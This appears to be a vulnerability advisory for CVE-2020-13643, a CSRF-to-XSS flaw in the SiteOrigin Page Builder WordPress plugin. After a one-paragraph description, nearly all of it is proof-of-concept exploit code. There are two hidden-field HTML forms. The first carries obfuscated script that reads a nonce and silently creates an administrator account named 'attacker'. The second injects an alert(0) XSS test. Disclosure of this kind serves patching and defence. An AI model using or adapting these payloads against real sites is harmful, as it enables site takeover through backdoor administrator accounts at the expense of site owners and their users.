Page Builder by SiteOrigin < 2.10.16 – CSRF to Reflected Cross-Site Scripting (XSS) | CVE 2020-13643

Description

Flaws in the live editor and action_builder_content functions of the plugin "allow attackers to forge requests on behalf of a site administrator and execute malicious code in the administrator’s browser. The attacker needs to trick a site administrator into executing an action, like clicking a link or an attachment, for the attack to succeed."

Proof of Concept

Live Editor (will add new administrative user): 
<html>
  <body>
    <form action="http://URL/hello-world/?siteorigin_panels_live_editor=true" method="POST">
      <input type="hidden" name="live&#95;editor&#95;panels&#95;data" value="&#123;&quot;widgets&quot;&#58;&#91;&#123;&quot;size&quot;&#58;&quot;medium&quot;&#44;&quot;width&quot;&#58;1920&#44;&quot;height&quot;&#58;800&#44;&quot;caption&quot;&#58;&quot;&quot;&#44;&quot;alt&quot;&#58;&quot;&quot;&#44;&quot;link&#95;type&quot;&#58;&quot;custom&quot;&#44;&quot;link&#95;url&quot;&#58;&quot;&quot;&#44;&quot;image&#95;classes&quot;&#58;&quot;&quot;&#44;&quot;link&#95;classes&quot;&#58;&quot;&quot;&#44;&quot;link&#95;rel&quot;&#58;&quot;&quot;&#44;&quot;link&#95;target&#95;blank&quot;&#58;false&#44;&quot;image&#95;title&quot;&#58;&quot;&quot;&#44;&quot;attachment&#95;id&quot;&#58;25467&#44;&quot;url&quot;&#58;&quot;http&#58;&#47;&#47;element&#46;vhx&#46;cloud&#58;8080&#47;wp&#45;content&#47;uploads&#47;2020&#47;04&#47;cropped&#45;inner&#45;pages&#45;bg&#45;300x125&#46;jpg&quot;&#44;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;so&#95;sidebar&#95;emulator&#95;id&quot;&#58;&quot;media&#95;image&#45;2547910000&quot;&#44;&quot;option&#95;name&quot;&#58;&quot;widget&#95;media&#95;image&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Media&#95;Image&quot;&#44;&quot;raw&quot;&#58;false&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;0&#44;&quot;widget&#95;id&quot;&#58;&quot;e94eb281&#45;2fe6&#45;424a&#45;b74e&#45;3c9613b9c24b&quot;&#44;&quot;style&quot;&#58;&#123;&quot;background&#95;image&#95;attachment&quot;&#58;false&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#125;&#125;&#125;&#44;&#123;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;content&quot;&#58;&quot;&lt;script&gt;eval&#40;String&#46;fromCharCode&#40;118&#44;97&#44;114&#44;32&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;61&#44;110&#44;101&#44;119&#44;32&#44;88&#44;77&#44;76&#44;72&#44;116&#44;116&#44;112&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;44&#44;114&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;85&#44;82&#44;76&#44;61&#44;34&#44;47&#44;119&#44;112&#44;45&#44;97&#44;100&#44;109&#44;105&#44;110&#44;47&#44;117&#44;115&#44;101&#44;114&#44;45&#44;110&#44;101&#44;119&#44;46&#44;112&#44;104&#44;112&#44;34&#44;44&#44;110&#44;111&#44;110&#44;99&#44;101&#44;82&#44;101&#44;103&#44;101&#44;120&#44;61&#44;47&#44;115&#44;101&#44;114&#44;34&#44;32&#44;118&#44;97&#44;108&#44;117&#44;101&#44;61&#44;34&#44;40&#44;91&#44;94&#44;34&#44;93&#44;42&#44;63&#44;41&#44;34&#44;47&#44;103&#44;59&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;46&#44;111&#44;112&#44;101&#44;110&#44;40&#44;34&#44;71&#44;69&#44;84&#44;34&#44;44&#44;114&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;85&#44;82&#44;76&#44;44&#44;33&#44;49&#44;41&#44;44&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;46&#44;115&#44;101&#44;110&#44;100&#44;40&#44;41&#44;59&#44;118&#44;97&#44;114&#44;32&#44;110&#44;111&#44;110&#44;99&#44;101&#44;77&#44;97&#44;116&#44;99&#44;104&#44;61&#44;110&#44;111&#44;110&#44;99&#44;101&#44;82&#44;101&#44;103&#44;101&#44;120&#44;46&#44;101&#44;120&#44;101&#44;99&#44;40&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;46&#44;114&#44;101&#44;115&#44;112&#44;111&#44;110&#44;115&#44;101&#44;84&#44;101&#44;120&#44;116&#44;41&#44;44&#44;110&#44;111&#44;110&#44;99&#44;101&#44;61&#44;110&#44;111&#44;110&#44;99&#44;101&#44;77&#44;97&#44;116&#44;99&#44;104&#44;91&#44;49&#44;93&#44;44&#44;112&#44;97&#44;114&#44;97&#44;109&#44;115&#44;61&#44;34&#44;97&#44;99&#44;116&#44;105&#44;111&#44;110&#44;61&#44;99&#44;114&#44;101&#44;97&#44;116&#44;101&#44;117&#44;115&#44;101&#44;114&#44;38&#44;95&#44;119&#44;112&#44;110&#44;111&#44;110&#44;99&#44;101&#44;95&#44;99&#44;114&#44;101&#44;97&#44;116&#44;101&#44;45&#44;117&#44;115&#44;101&#44;114&#44;61&#44;34&#44;43&#44;110&#44;111&#44;110&#44;99&#44;101&#44;43&#44;34&#44;38&#44;117&#44;115&#44;101&#44;114&#44;95&#44;108&#44;111&#44;103&#44;105&#44;110&#44;61&#44;97&#44;116&#44;116&#44;97&#44;99&#44;107&#44;101&#44;114&#44;38&#44;101&#44;109&#44;97&#44;105&#44;108&#44;61&#44;97&#44;116&#44;116&#44;97&#44;99&#44;107&#44;101&#44;114&#44;64&#44;115&#44;105&#44;116&#44;101&#44;46&#44;99&#44;111&#44;109&#44;38&#44;112&#44;97&#44;115&#44;115&#44;49&#44;61&#44;97&#44;116&#44;116&#44;97&#44;99&#44;107&#44;101&#44;114&#44;38&#44;112&#44;97&#44;115&#44;115&#44;50&#44;61&#44;97&#44;116&#44;116&#44;97&#44;99&#44;107&#44;101&#44;114&#44;38&#44;114&#44;111&#44;108&#44;101&#44;61&#44;97&#44;100&#44;109&#44;105&#44;110&#44;105&#44;115&#44;116&#44;114&#44;97&#44;116&#44;111&#44;114&#44;34&#44;59&#44;40&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;61&#44;110&#44;101&#44;119&#44;32&#44;88&#44;77&#44;76&#44;72&#44;116&#44;116&#44;112&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;41&#44;46&#44;111&#44;112&#44;101&#44;110&#44;40&#44;34&#44;80&#44;79&#44;83&#44;84&#44;34&#44;44&#44;114&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;85&#44;82&#44;76&#44;44&#44;33&#44;48&#44;41&#44;44&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;46&#44;115&#44;101&#44;116&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;72&#44;101&#44;97&#44;100&#44;101&#44;114&#44;40&#44;34&#44;67&#44;111&#44;110&#44;116&#44;101&#44;110&#44;116&#44;45&#44;84&#44;121&#44;112&#44;101&#44;34&#44;44&#44;34&#44;97&#44;112&#44;112&#44;108&#44;105&#44;99&#44;97&#44;116&#44;105&#44;111&#44;110&#44;47&#44;120&#44;45&#44;119&#44;119&#44;119&#44;45&#44;102&#44;111&#44;114&#44;109&#44;45&#44;117&#44;114&#44;108&#44;101&#44;110&#44;99&#44;111&#44;100&#44;101&#44;100&#44;34&#44;41&#44;44&#44;97&#44;106&#44;97&#44;120&#44;82&#44;101&#44;113&#44;117&#44;101&#44;115&#44;116&#44;46&#44;115&#44;101&#44;110&#44;100&#44;40&#44;112&#44;97&#44;114&#44;97&#44;109&#44;115&#44;41&#44;59&#41;&#41;&lt;&#47;script&gt;&quot;&#44;&quot;so&#95;sidebar&#95;emulator&#95;id&quot;&#58;&quot;custom&#95;html&#45;2547910001&quot;&#44;&quot;option&#95;name&quot;&#58;&quot;widget&#95;custom&#95;html&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Custom&#95;HTML&quot;&#44;&quot;raw&quot;&#58;false&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;1&#44;&quot;widget&#95;id&quot;&#58;&quot;8757c772&#45;fbfb&#45;4ad8&#45;a5aa&#45;5593bebf481c&quot;&#44;&quot;style&quot;&#58;&#123;&quot;background&#95;image&#95;attachment&quot;&#58;false&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#125;&#125;&#125;&#44;&#123;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;content&quot;&#58;&quot;&quot;&#44;&quot;so&#95;sidebar&#95;emulator&#95;id&quot;&#58;&quot;custom&#95;html&#45;2547910002&quot;&#44;&quot;option&#95;name&quot;&#58;&quot;widget&#95;custom&#95;html&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Custom&#95;HTML&quot;&#44;&quot;raw&quot;&#58;false&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;2&#44;&quot;widget&#95;id&quot;&#58;&quot;d7cce3cc&#45;fdf7&#45;41dd&#45;abec&#45;b37ef267f305&quot;&#44;&quot;style&quot;&#58;&#123;&quot;background&#95;image&#95;attachment&quot;&#58;false&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#125;&#125;&#125;&#93;&#44;&quot;grids&quot;&#58;&#91;&#123;&quot;cells&quot;&#58;1&#44;&quot;style&quot;&#58;&#123;&quot;background&#95;image&#95;attachment&quot;&#58;false&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#44;&quot;cell&#95;alignment&quot;&#58;&quot;flex&#45;start&quot;&#125;&#125;&#93;&#44;&quot;grid&#95;cells&quot;&#58;&#91;&#123;&quot;grid&quot;&#58;0&#44;&quot;index&quot;&#58;0&#44;&quot;weight&quot;&#58;1&#44;&quot;style&quot;&#58;&#91;&#93;&#125;&#93;&#125;" />
      <input type="hidden" name="live&#95;editor&#95;post&#95;ID" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

action_builder_content:
<html>
  <body>
    <form action="http://URL/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="so&#95;panels&#95;builder&#95;content" />
      <input type="hidden" name="panels&#95;data" value="&#123;&quot;widgets&quot;&#58;&#91;&#123;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;count&quot;&#58;0&#44;&quot;dropdown&quot;&#58;0&#44;&quot;so&#95;sidebar&#95;emulator&#95;id&quot;&#58;&quot;archives&#45;2547910000&quot;&#44;&quot;option&#95;name&quot;&#58;&quot;widget&#95;archives&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Archives&quot;&#44;&quot;raw&quot;&#58;false&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;0&#44;&quot;widget&#95;id&quot;&#58;&quot;67086774&#45;af64&#45;4963&#45;9a29&#45;c7a53b769d9e&quot;&#44;&quot;style&quot;&#58;&#123;&quot;background&#95;image&#95;attachment&quot;&#58;false&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#125;&#125;&#125;&#44;&#123;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Categories&quot;&#44;&quot;raw&quot;&#58;true&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;1&#44;&quot;widget&#95;id&quot;&#58;&quot;39d0a609&#45;f8ae&#45;4666&#45;91fa&#45;2197bce23d84&quot;&#44;&quot;style&quot;&#58;&#123;&quot;id&quot;&#58;&quot;&quot;&#44;&quot;class&quot;&#58;&quot;&quot;&#44;&quot;widget&#95;css&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;css&quot;&#58;&quot;&quot;&#44;&quot;margin&quot;&#58;&quot;&quot;&#44;&quot;padding&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;padding&quot;&#58;&quot;&quot;&#44;&quot;background&quot;&#58;&quot;&quot;&#44;&quot;background&#95;image&#95;attachment&quot;&#58;&quot;0&quot;&#44;&quot;background&#95;image&#95;attachment&#95;fallback&quot;&#58;&quot;&quot;&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#44;&quot;border&#95;color&quot;&#58;&quot;&quot;&#44;&quot;font&#95;color&quot;&#58;&quot;&quot;&#44;&quot;link&#95;color&quot;&#58;&quot;&quot;&#125;&#125;&#125;&#44;&#123;&quot;title&quot;&#58;&quot;&quot;&#44;&quot;text&quot;&#58;&quot;&#91;test&#32;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;&#93;&#92;n&#92;n&amp;nbsp&#59;&#92;n&#92;n&#91;test&amp;amp&#59;&#35;8221&#59;&amp;amp&#59;gt&#59;&amp;amp&#59;lt&#59;script&amp;amp&#59;gt&#59;alert&#40;0&#41;&amp;amp&#59;lt&#59;&#47;script&amp;amp&#59;gt&#59;&#93;&quot;&#44;&quot;filter&quot;&#58;&quot;on&quot;&#44;&quot;visual&quot;&#58;&quot;on&quot;&#44;&quot;panels&#95;info&quot;&#58;&#123;&quot;class&quot;&#58;&quot;WP&#95;Widget&#95;Text&quot;&#44;&quot;raw&quot;&#58;true&#44;&quot;grid&quot;&#58;0&#44;&quot;cell&quot;&#58;0&#44;&quot;id&quot;&#58;2&#44;&quot;widget&#95;id&quot;&#58;&quot;93fd3358&#45;c8b7&#45;49b4&#45;b9ee&#45;7cb761968d43&quot;&#44;&quot;style&quot;&#58;&#123;&quot;id&quot;&#58;&quot;&quot;&#44;&quot;class&quot;&#58;&quot;&quot;&#44;&quot;widget&#95;css&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;css&quot;&#58;&quot;&quot;&#44;&quot;margin&quot;&#58;&quot;&quot;&#44;&quot;padding&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;padding&quot;&#58;&quot;&quot;&#44;&quot;background&quot;&#58;&quot;&quot;&#44;&quot;background&#95;image&#95;attachment&quot;&#58;&quot;0&quot;&#44;&quot;background&#95;image&#95;attachment&#95;fallback&quot;&#58;&quot;&quot;&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#44;&quot;border&#95;color&quot;&#58;&quot;&quot;&#44;&quot;font&#95;color&quot;&#58;&quot;&quot;&#44;&quot;link&#95;color&quot;&#58;&quot;&quot;&#125;&#125;&#125;&#93;&#44;&quot;grids&quot;&#58;&#91;&#123;&quot;cells&quot;&#58;1&#44;&quot;style&quot;&#58;&#123;&quot;id&quot;&#58;&quot;&quot;&#44;&quot;class&quot;&#58;&quot;&quot;&#44;&quot;cell&#95;class&quot;&#58;&quot;&quot;&#44;&quot;row&#95;css&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;css&quot;&#58;&quot;&quot;&#44;&quot;bottom&#95;margin&quot;&#58;&quot;&quot;&#44;&quot;gutter&quot;&#58;&quot;&quot;&#44;&quot;padding&quot;&#58;&quot;&quot;&#44;&quot;row&#95;stretch&quot;&#58;&quot;&quot;&#44;&quot;collapse&#95;behaviour&quot;&#58;&quot;&quot;&#44;&quot;collapse&#95;order&quot;&#58;&quot;&quot;&#44;&quot;cell&#95;alignment&quot;&#58;&quot;flex&#45;start&quot;&#44;&quot;mobile&#95;bottom&#95;margin&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;cell&#95;margin&quot;&#58;&quot;&quot;&#44;&quot;mobile&#95;padding&quot;&#58;&quot;&quot;&#44;&quot;background&quot;&#58;&quot;&quot;&#44;&quot;background&#95;image&#95;attachment&quot;&#58;&quot;0&quot;&#44;&quot;background&#95;image&#95;attachment&#95;fallback&quot;&#58;&quot;&quot;&#44;&quot;background&#95;display&quot;&#58;&quot;tile&quot;&#44;&quot;border&#95;color&quot;&#58;&quot;&quot;&#125;&#125;&#93;&#44;&quot;grid&#95;cells&quot;&#58;&#91;&#123;&quot;grid&quot;&#58;0&#44;&quot;index&quot;&#58;0&#44;&quot;weight&quot;&#58;1&#44;&quot;style&quot;&#58;&#91;&#93;&#125;&#93;&#125;" />
      <input type="hidden" name="post&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>